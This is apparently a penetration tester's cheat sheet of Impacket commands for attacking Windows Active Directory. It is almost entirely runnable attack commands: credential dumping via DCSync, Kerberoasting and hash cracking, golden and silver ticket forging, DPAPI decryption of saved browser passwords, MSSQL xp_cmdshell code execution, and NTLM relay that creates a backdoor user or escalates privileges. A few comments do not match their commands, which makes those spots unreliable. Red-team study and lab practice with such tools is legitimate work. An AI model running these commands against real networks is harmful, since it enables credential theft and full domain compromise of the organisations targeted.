> ## Documentation Index
> Fetch the complete documentation index at: https://notes.chaelsoo.me/llms.txt
> Use this file to discover all available pages before exploring further.

# Impacket

Collection of Python scripts for interacting with Windows protocols from Linux. Covers Kerberos, SMB, remote execution, credential dumping, ACL editing, and AD enumeration. All tools follow a consistent auth model.

## Auth & Kerberos Setup

Every impacket tool accepts credentials in the same three forms. Set up once, reuse everywhere.

<Tabs>
  <Tab title="Password">
    Pass credentials inline: `domain/user:password@target`

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    psexec.py $DOMAIN/$USER:$PASSWORD@$IP
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # -hashes accepts LM:NT — use : prefix for NT-only
    psexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
    ```
  </Tab>

  <Tab title="Kerberos">
    Requires a valid ccache and the **hostname**, not IP. Impacket resolves the SPN from the hostname — using an IP will fail with KRB5 errors.

    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # Get a TGT first if you don't have one
    getTGT.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP        # password
    getTGT.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP # hash
    getTGT.py $DOMAIN/$USER -aesKey $AESKEY -dc-ip $DC_IP  # AES key

    export KRB5CCNAME=$USER.ccache

    # Then use -k -no-pass with the hostname
    psexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    ```
  </Tab>
</Tabs>

<Info>
  Always use the DC/target **hostname** with `-k`, never the IP. If DNS doesn't resolve, add the host to `/etc/hosts` and point to `$DC_IP`.
</Info>

### krb5.conf Template

Linux Kerberos tools read `/etc/krb5.conf` to know which KDC to contact and how to map realms to domains. Without it, most tools either fail or fall back to DNS discovery (which may not work inside a lab).

```ini wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    ticket_lifetime = 24h
    renew_lifetime = 7d
    forwardable = true
    rdns = false
    noaddresses = true

[realms]
    DOMAIN.LOCAL = {
        kdc = dc01.domain.local
        admin_server = dc01.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
```

Replace `DOMAIN.LOCAL` with your domain in uppercase, `domain.local` with the lowercase FQDN, and `dc01.domain.local` with the DC hostname. Add `/etc/hosts` entries if DNS does not resolve the DC hostname:

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
echo "$DC_IP  dc01.domain.local dc01" | sudo tee -a /etc/hosts
```

For multiple domains or child domains, add a block per realm:

```ini wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
[realms]
    DOMAIN.LOCAL = {
        kdc = dc01.domain.local
        admin_server = dc01.domain.local
    }
    CHILD.DOMAIN.LOCAL = {
        kdc = child-dc.child.domain.local
        admin_server = child-dc.child.domain.local
    }

[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL
    .child.domain.local = CHILD.DOMAIN.LOCAL
    child.domain.local = CHILD.DOMAIN.LOCAL
```

## Remote Execution

Pick based on noise level: psexec creates a service (very loud), wmiexec runs in WMI (quieter), atexec uses the task scheduler (least trace).

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    psexec.py $DOMAIN/$USER:$PASSWORD@$IP          # SYSTEM shell, creates service
    wmiexec.py $DOMAIN/$USER:$PASSWORD@$IP         # user-level shell, no binary drop
    smbexec.py $DOMAIN/$USER:$PASSWORD@$IP         # semi-interactive via SMB pipe
    atexec.py $DOMAIN/$USER:$PASSWORD@$IP "whoami" # single command via task scheduler
    dcomexec.py $DOMAIN/$USER:$PASSWORD@$IP        # DCOM-based execution (MMC)
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    psexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
    wmiexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
    smbexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
    atexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH "whoami"
    dcomexec.py $DOMAIN/$USER@$IP -hashes :$NTHASH
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    psexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    wmiexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    smbexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    atexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME "whoami"
    dcomexec.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    ```
  </Tab>
</Tabs>

## Credential Dumping

### secretsdump.py

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # Remote: DCSync / dump SAM+LSA
    secretsdump.py $DOMAIN/$USER:$PASSWORD@$DC_IP

    # Targeted: specific user only
    secretsdump.py $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc-user krbtgt

    # All domain hashes
    secretsdump.py $DOMAIN/$USER:$PASSWORD@$DC_IP -just-dc

    # Offline: parse dumped hive files
    secretsdump.py -sam sam.bak -system system.bak LOCAL
    secretsdump.py -ntds ntds.dit -system system.bak LOCAL
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    secretsdump.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH
    secretsdump.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -just-dc-user krbtgt
    secretsdump.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -just-dc
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    # Hostname required — use the DC FQDN
    secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST
    secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST -just-dc-user krbtgt
    secretsdump.py -k -no-pass $DOMAIN/$USER@$DC_HOST -just-dc
    ```
  </Tab>
</Tabs>

## Kerberos Tooling

### getTGT.py / getST.py / ticketConverter.py

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Request TGT — saves to user.ccache
getTGT.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP
getTGT.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP
getTGT.py $DOMAIN/$USER -aesKey $AESKEY -dc-ip $DC_IP

# Request service ticket (TGS) — for S4U2Self/S4U2Proxy / RBCD abuse
getST.py $DOMAIN/$USER:$PASSWORD -spn cifs/$TARGET.$DOMAIN -dc-ip $DC_IP
getST.py $DOMAIN/$USER -hashes :$NTHASH -spn cifs/$TARGET.$DOMAIN -dc-ip $DC_IP

# Impersonate a user via S4U2Proxy (RBCD / constrained delegation)
getST.py $DOMAIN/$COMP_NAME$:$COMP_PASS -spn cifs/$TARGET.$DOMAIN \
  -impersonate Administrator -dc-ip $DC_IP
export KRB5CCNAME="Administrator@cifs_$TARGET.$DOMAIN@${DOMAIN^^}.ccache"

# Convert kirbi ↔ ccache
ticketConverter.py ticket.kirbi ticket.ccache
ticketConverter.py ticket.ccache ticket.kirbi
```

### GetUserSPNs.py (Kerberoasting)

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # List Kerberoastable accounts
    GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP

    # Request hashes and save
    GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request -outputfile hashes.txt

    # Target a specific account
    GetUserSPNs.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request-user $TARGET -outputfile hashes.txt
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    GetUserSPNs.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP
    GetUserSPNs.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -request -outputfile hashes.txt
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    GetUserSPNs.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP
    GetUserSPNs.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP -request -outputfile hashes.txt
    ```
  </Tab>
</Tabs>

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Crack: hashcat mode 13100 (RC4) or 19700 (AES256)
hashcat -m 13100 hashes.txt ~/tools/wordlists/rockyou
hashcat -m 19700 hashes.txt ~/tools/wordlists/rockyou
```

### GetNPUsers.py (AS-REP Roasting)

<Tabs>
  <Tab title="No Creds (username list)">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # No credentials needed — just a username list
    GetNPUsers.py $DOMAIN/ -dc-ip $DC_IP -no-pass -usersfile users.txt \
      -format hashcat -outputfile hashes.txt
    ```
  </Tab>

  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # With creds: auto-discovers AS-REP roastable accounts
    GetNPUsers.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -request \
      -format hashcat -outputfile hashes.txt
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    GetNPUsers.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -request \
      -format hashcat -outputfile hashes.txt
    ```
  </Tab>
</Tabs>

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Crack: hashcat mode 18200
hashcat -m 18200 hashes.txt ~/tools/wordlists/rockyou
```

## smbclient.py

Interactive SMB client. Works like the native smbclient but is part of impacket — useful when the native tool isn't available or you need PTH/Kerberos from Linux.

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # Interactive shell (lists shares on connect)
    smbclient.py $DOMAIN/$USER:$PASSWORD@$IP

    # Connect directly to a share
    smbclient.py $DOMAIN/$USER:$PASSWORD@$IP -share $SHARENAME
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    smbclient.py -hashes :$NTHASH $DOMAIN/$USER@$IP
    smbclient.py -hashes :$NTHASH $DOMAIN/$USER@$IP -share $SHARENAME
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    smbclient.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    smbclient.py -k -no-pass $DOMAIN/$USER@$HOSTNAME -share $SHARENAME
    ```
  </Tab>
</Tabs>

Inside the interactive shell:

```text wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
shares                # list available shares
use ShareName         # switch to a share
ls                    # list files
cd path               # change directory
get file.txt          # download file
put local.txt         # upload file
exit                  # quit
```

## ACL Editing (dacledit.py)

Read and write DACLs on AD objects. Required for granting DCSync rights, GenericAll, WriteDacl, etc. from Linux.

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # Read the DACL on an object
    dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
      -principal $USER -target $TARGET -action read

    # Grant a right (e.g. GenericAll, DCSync, WriteDacl)
    dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
      -principal $USER -target $TARGET -action write -rights FullControl

    # Grant DCSync rights (DS-Replication-Get-Changes + DS-Replication-Get-Changes-All)
    dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
      -principal $USER -target-dn "DC=$DOMAIN,DC=local" \
      -action write -rights DCSync

    # Grant WriteDacl
    dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
      -principal $USER -target $TARGET -action write -rights WriteOwner

    # Restore a DACL from backup
    dacledit.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
      -principal $USER -target $TARGET -action restore -file dacl_backup.json
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    dacledit.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP \
      -principal $USER -target $TARGET -action read

    dacledit.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP \
      -principal $USER -target-dn "DC=$DOMAIN,DC=local" \
      -action write -rights DCSync
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    dacledit.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP \
      -principal $USER -target $TARGET -action read

    dacledit.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP \
      -principal $USER -target-dn "DC=$DOMAIN,DC=local" \
      -action write -rights DCSync
    ```
  </Tab>
</Tabs>

## Computer Accounts (addcomputer.py)

Create machine accounts — prerequisite for RBCD and other attacks when `ms-DS-MachineAccountQuota > 0`.

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # Add a computer account
    addcomputer.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
      -computer-name 'EVIL$' -computer-pass 'EvilPass123!'

    # Delete a computer account you created
    addcomputer.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP \
      -computer-name 'EVIL$' -delete
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    addcomputer.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP \
      -computer-name 'EVIL$' -computer-pass 'EvilPass123!'
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    addcomputer.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP \
      -computer-name 'EVIL$' -computer-pass 'EvilPass123!'
    ```
  </Tab>
</Tabs>

## Delegation Enumeration (findDelegation.py)

Find all accounts with unconstrained, constrained, or RBCD delegation configured.

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    findDelegation.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    findDelegation.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    findDelegation.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP
    ```
  </Tab>
</Tabs>

## Enumeration

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    lookupsid.py $DOMAIN/$USER:$PASSWORD@$IP        # enumerate SIDs / RID brute
    samrdump.py $DOMAIN/$USER:$PASSWORD@$IP          # list users, groups, shares via SAMR
    rpcdump.py $IP                                   # dump RPC endpoints (no auth needed)
    reg.py $DOMAIN/$USER:$PASSWORD@$IP query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    lookupsid.py $DOMAIN/$USER@$IP -hashes :$NTHASH
    samrdump.py $DOMAIN/$USER@$IP -hashes :$NTHASH
    reg.py $DOMAIN/$USER@$IP -hashes :$NTHASH query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion'
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    lookupsid.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    samrdump.py -k -no-pass $DOMAIN/$USER@$HOSTNAME
    ```
  </Tab>
</Tabs>

## MSSQL (mssqlclient.py)

Interactive MSSQL client. Type SQL directly or use built-in helpers for `xp_cmdshell`.

### Connecting

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP -windows-auth   # Windows auth (try first)
    mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP                 # SQL auth
    mssqlclient.py $DOMAIN/$USER:$PASSWORD@$IP -port 1433      # explicit port
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    mssqlclient.py $DOMAIN/$USER@$IP -hashes :$NTHASH -windows-auth
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    mssqlclient.py -k -no-pass $DOMAIN/$USER@$HOSTNAME -windows-auth
    ```
  </Tab>
</Tabs>

### Situational Awareness

```sql wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
SELECT SYSTEM_USER;                                          -- current login
SELECT USER_NAME();                                          -- current DB user
SELECT IS_SRVROLEMEMBER('sysadmin');                         -- 1 = sysadmin
SELECT name FROM master.dbo.sysdatabases;                    -- list databases
SELECT name FROM master..syslogins;                          -- list SQL logins
EXEC sp_linkedservers;                                       -- list linked servers
SELECT name, data_source FROM sys.servers WHERE is_linked=1; -- linked servers (alt)
```

### xp\_cmdshell

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Built-in helpers (handle enable/disable automatically)
enable_xp_cmdshell
xp_cmdshell whoami
disable_xp_cmdshell
```

```sql wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
-- Manual enable
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```

### Impersonation

```sql wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
-- Find logins you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate and verify
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');    -- should return sa, 1
REVERT;
```

### Linked Server Abuse

Built-in helpers (`enable_xp_cmdshell`, `enum_impersonate`, etc.) are local only. Everything on a linked server must be sent as a raw SQL string via `EXEC ('...') AT [TARGET]`. Single quotes inside the string must be escaped as `''`.

```sql wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
-- Enumerate linked servers
EXEC sp_linkedservers;
SELECT name, data_source FROM sys.servers WHERE is_linked = 1;

-- Check context on linked server
EXEC ('SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED_SERVER];

-- Query via OPENQUERY (read-only, no RCE)
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT @@version');
SELECT * FROM OPENQUERY([LINKED_SERVER], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

-- Enumerate impersonatable logins on linked server
EXEC ('SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = ''IMPERSONATE''') AT [LINKED_SERVER];

-- Impersonate on linked server
EXEC ('EXECUTE AS LOGIN = ''sa''; SELECT SYSTEM_USER, IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKED_SERVER];

-- Enable xp_cmdshell on linked server
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE') AT [LINKED_SERVER];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE') AT [LINKED_SERVER];

-- RCE via linked server
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKED_SERVER];

-- Enumerate further hops
EXEC ('SELECT name, data_source FROM sys.servers WHERE is_linked = 1') AT [LINKED_SERVER];

-- Double-hop (chain two linked servers)
EXEC ('EXEC (''SELECT SYSTEM_USER'') AT [NEXT_LINKED_SERVER]') AT [LINKED_SERVER];
```

## DPAPI (dpapi.py)

Decrypt Windows DPAPI-protected secrets: browser saved passwords, credential manager, Wi-Fi keys, and anything else encrypted with a masterkey. The masterkey is encrypted with the user's password (or the domain backup key for domain accounts).

### Masterkeys

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Decrypt masterkey with the user's plaintext password
dpapi.py masterkey \
  -file "/Users/$USER/AppData/Roaming/Microsoft/Protect/$SID/$GUID" \
  -sid $SID \
  -password $PASSWORD

# Decrypt masterkey using the domain backup key (pvk file from secretsdump)
dpapi.py masterkey \
  -file "/Users/$USER/AppData/Roaming/Microsoft/Protect/$SID/$GUID" \
  -pvk domain_backup.pvk

# Decrypt all masterkeys for a user (point to the Protect folder)
dpapi.py masterkey \
  -directory "/Users/$USER/AppData/Roaming/Microsoft/Protect/$SID/" \
  -pvk domain_backup.pvk
```

### Credential Files

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# List Windows Credential Manager files
dpapi.py credential -file "/Users/$USER/AppData/Local/Microsoft/Credentials/$GUID" \
  -key $MASTERKEY_HEX

# Batch decrypt all credential files using decrypted masterkey
dpapi.py credential \
  -directory "/Users/$USER/AppData/Local/Microsoft/Credentials/" \
  -key $MASTERKEY_HEX
```

### Chrome / Browser Saved Passwords

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Decrypt Chrome Login Data (requires Local State + Login Data files)
dpapi.py chrome \
  --logindata "/Users/$USER/AppData/Local/Google/Chrome/User Data/Default/Login Data" \
  --key "/Users/$USER/AppData/Local/Google/Chrome/User Data/Local State"

# With masterkey (if Local State key is encrypted with DPAPI)
dpapi.py chrome \
  --logindata "Login Data" \
  --key "Local State" \
  -masterkey $MASTERKEY_HEX
```

### Generic Blob Decryption

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Decrypt a raw DPAPI blob
dpapi.py blob -blob blob.bin -masterkey $MASTERKEY_HEX

# From base64-encoded blob
dpapi.py blob -blob blob.b64 -masterkey $MASTERKEY_HEX
```

### Vault Files

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Decrypt Windows Vault entries (e.g., RDP saved credentials)
dpapi.py vault \
  -vcrd "/Users/$USER/AppData/Local/Microsoft/Vault/$GUID/..." \
  -masterkey $MASTERKEY_HEX
```

## Ticket Forging (ticketer.py)

Forge Kerberos tickets offline. Requires hashes extracted via secretsdump.

### Golden Ticket

Requires the `krbtgt` NT hash and domain SID. Valid for any user, any service, any host.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Forge a Golden Ticket as Administrator
ticketer.py \
  -nthash $KRBTGT_HASH \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  Administrator

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass $DOMAIN/Administrator@$DC_HOST
psexec.py -k -no-pass $DOMAIN/Administrator@$DC_HOST
```

### Silver Ticket

Requires the target service account's NT hash. Valid for a single service on a single host — no contact with the DC needed.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Forge a Silver Ticket for CIFS (file sharing) on a target host
ticketer.py \
  -nthash $SERVICE_HASH \
  -domain-sid $DOMAIN_SID \
  -domain $DOMAIN \
  -spn cifs/$TARGET.$DOMAIN \
  -user-id 500 \
  Administrator

export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass $DOMAIN/Administrator@$TARGET.$DOMAIN
```

### ExtraSids (Child to Parent Domain)

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Forge a cross-domain ticket with Enterprise Admins SID injected
ticketer.py \
  -nthash $CHILD_KRBTGT_HASH \
  -domain-sid $CHILD_DOMAIN_SID \
  -domain child.$DOMAIN \
  -extra-sid $PARENT_DOMAIN_SID-519 \
  Administrator

export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass $DOMAIN/Administrator@parent-dc.$DOMAIN
secretsdump.py -k -no-pass $DOMAIN/Administrator@parent-dc.$DOMAIN
```

## Ticket Inspection (describeTicket.py)

Inspect ccache and kirbi files to check validity, SIDs, session key, and expiry.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Inspect a ccache file
describeTicket.py ticket.ccache

# Inspect a kirbi file
describeTicket.py ticket.kirbi

# Extract session key (needed for SPN-less RBCD trick)
describeTicket.py $USER.ccache | grep 'Ticket Session Key'
```

## NTLM Relay (ntlmrelayx.py)

Relay incoming NTLM authentication to other services. Requires capturing NTLM auth via Responder, printerbug, PetitPotam, or similar coercion.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Generate relay target list (hosts with SMB signing disabled)
nxc smb $SUBNET --gen-relay-list relay_targets.txt
```

### Relay to SMB

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Relay to SMB on all targets — dumps SAM if admin
ntlmrelayx.py -tf relay_targets.txt -smb2support

# Execute a command on relay
ntlmrelayx.py -tf relay_targets.txt -smb2support -c "net user hacker Pass123! /add"

# Interactive SOCKS relay sessions (use socks proxy to interact after capture)
ntlmrelayx.py -tf relay_targets.txt -smb2support -socks
# then in another terminal: socks4 127.0.0.1 1080 via proxychains
```

### Relay to LDAP

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Relay to LDAP — dumps credentials and AD info
ntlmrelayx.py -t ldap://$DC_HOST -smb2support

# Relay to LDAP for RBCD (grants controlled machine delegation on victim)
ntlmrelayx.py -t ldap://$DC_HOST --delegate-access --escalate-user '$COMP_NAME$' -smb2support

# Relay to LDAP and add user to Domain Admins
ntlmrelayx.py -t ldap://$DC_HOST -smb2support \
  --add-computer evilpc EvilPass123! \
  --delegate-access
```

### Relay to MSSQL

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
ntlmrelayx.py -t mssql://$TARGET -smb2support -q "SELECT @@version"
ntlmrelayx.py -t mssql://$TARGET -smb2support --mssql-auth-type windows
```

### Relay to HTTP / ADCS (ESC8)

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Relay to AD CS web enrollment to get a certificate for the victim account
ntlmrelayx.py -t http://$CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template Machine
```

## Password Change (changepasswd.py)

Change or force-reset passwords. Supports SAMR and Kerberos set-password protocols.

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # Change own password (knows current)
    changepasswd.py $DOMAIN/$USER:$OLD_PASSWORD@$DC_IP -newpass $NEW_PASSWORD

    # Force change another user's password (requires ForceChangePassword ACE)
    changepasswd.py $DOMAIN/$USER:$PASSWORD@$DC_IP -altuser $TARGET -newpass $NEW_PASSWORD
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    changepasswd.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -newpass $NEW_PASSWORD
    changepasswd.py $DOMAIN/$USER@$DC_IP -hashes :$NTHASH -altuser $TARGET -newpass $NEW_PASSWORD

    # Overwrite NT hash directly (SPN-less RBCD trick: replace hash with TGT session key)
    changepasswd.py $DOMAIN/$USER@$DC_HOST -newhashes :$TGT_SESSION_KEY -hashes :$NTHASH
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    changepasswd.py -k -no-pass $DOMAIN/$USER@$DC_HOST -altuser $TARGET -newpass $NEW_PASSWORD
    ```
  </Tab>
</Tabs>

## AD User Enumeration (GetADUsers.py)

Quick user enumeration via LDAP — returns all users or a specific account with attributes.

<Tabs>
  <Tab title="Password">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    # List all domain users
    GetADUsers.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -all

    # Query a specific user
    GetADUsers.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -user $TARGET
    ```
  </Tab>

  <Tab title="NT Hash">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    GetADUsers.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -all
    GetADUsers.py $DOMAIN/$USER -hashes :$NTHASH -dc-ip $DC_IP -user $TARGET
    ```
  </Tab>

  <Tab title="Kerberos">
    ```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
    export KRB5CCNAME=/tmp/ticket.ccache
    GetADUsers.py $DOMAIN/$USER -k -no-pass -dc-ip $DC_IP -all
    ```
  </Tab>
</Tabs>

## SMB File Server (smbserver.py)

Serve a local directory over SMB. Useful for file transfer, hosting payloads, or forcing NTLM authentication from a target that reads from a UNC path.

```bash wrap theme={"theme":{"light":"night-owl","dark":"night-owl"}}
# Anonymous share (no auth required)
smbserver.py -smb2support SHARE /path/to/serve

